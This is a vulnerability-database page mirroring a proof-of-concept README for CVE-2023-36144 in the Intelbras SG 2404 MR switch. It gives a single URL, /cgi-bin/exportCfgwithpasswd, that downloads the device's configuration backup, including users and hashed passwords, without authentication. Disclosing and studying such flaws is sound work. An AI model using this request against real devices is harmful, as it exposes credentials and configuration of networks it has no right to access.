CVE-2023-36144 PoC — Intelbras SG 2404 MR 安全漏洞

Source

https://github.com/leonardobg/CVE-2023-36144

Associated Vulnerability

Title:Intelbras SG 2404 MR 安全漏洞 (CVE-2023-36144)
Description:An authentication bypass in Intelbras Switch SG 2404 MR in firmware 1.00.54 allows an unauthenticated attacker to download the backup file of the device, exposing critical information about the device configuration.

Readme

# CVE-2023-36144

PoC of CVE-2023-36144 - Intelbras Switch SG 2404 MR L2+ firmware 1.00.54

## Download the backup file unauthenticated


## Steps to Reproduce:

1. Go to the following link http://127.0.0.1/cgi-bin/exportCfgwithpasswd (replace 127.0.0.1 with the device IP)
2. It will auto download the backup file, containing the device configurations and its users and hashed passwords

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →